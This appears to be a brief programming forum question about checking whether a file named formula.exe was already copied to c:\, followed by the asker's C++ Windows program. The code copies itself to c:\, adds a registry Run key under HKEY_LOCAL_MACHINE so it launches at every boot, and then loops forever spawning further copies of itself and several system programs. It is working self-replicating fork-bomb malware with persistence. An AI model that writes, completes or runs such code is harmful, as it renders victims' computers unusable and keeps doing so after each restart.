0
How to check the file formula.exe
has already been copied to the directory c:\
, and if it hasn’t been copied create a copy of it.
#include <iostream>
#include <Windows.h>
#include <lmcons.h>
#include <stdio.h>
#include <stdlib.h>
#include <locale.h>
#include <string>
using namespace std;
string dir() {
char buffer[MAX_PATH];
GetModuleFileName( NULL, buffer, MAX_PATH );
string::size_type pos = string( buffer ).find_last_of( "\\/" );
return string( buffer ).substr( 0, pos);
}
int main(){
string copia = "copy ";
copia += dir();
copia += "\\formula.exe c:\\formula.exe";
system(copia.c_str());
string cmd = "reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /t REG_SZ /v formula /d c:\\formula.exe";
system(cmd.c_str());
int black=0;
setlocale(LC_ALL, "Portuguese");
SetConsoleTitle("formula");
while(black<1){
system("start c:\\formula.exe");
system ("start iexplore");
system ("start notepad");
system ("start calc");
system ("start mspaint");
system ("start explorer");
system ("start wmplayer");
}
return 0;
}